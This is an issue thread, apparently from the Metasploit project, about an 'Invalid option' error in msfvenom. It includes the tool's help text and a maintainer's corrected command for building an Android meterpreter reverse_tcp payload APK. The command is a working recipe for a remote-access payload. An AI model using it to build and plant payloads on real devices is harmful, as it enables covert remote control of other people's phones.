Metasploit-framework: How Fix this Error " Invalid Option" msfvenom

[Dark-Project]

~# msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx lport=xxxx R > xxxx.apk
Error: Invalid option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit-framework/bin/../embedded/framework/msfvenom [options]

Options:
-p, --payload Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled Prepend a nopsled of [length] size on to the payload
-f, --format Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder The encoder to use
-a, --arch The architecture to use
--platform The platform of the payload
--help-platforms List available platforms
-s, --space The maximum size of the resulting payload
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars The list of characters to avoid example: 'x00xff'
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out Save the payload
-v, --var-name Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload

[sleepingspy999]

Also getting this error with every command , even the help commands.

[wchen-r7]

Hi, your syntax is incorrect. Here's an example:

./msfvenom -p android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f raw -o /tmp/test.apk

This will generate the payload in /tmp.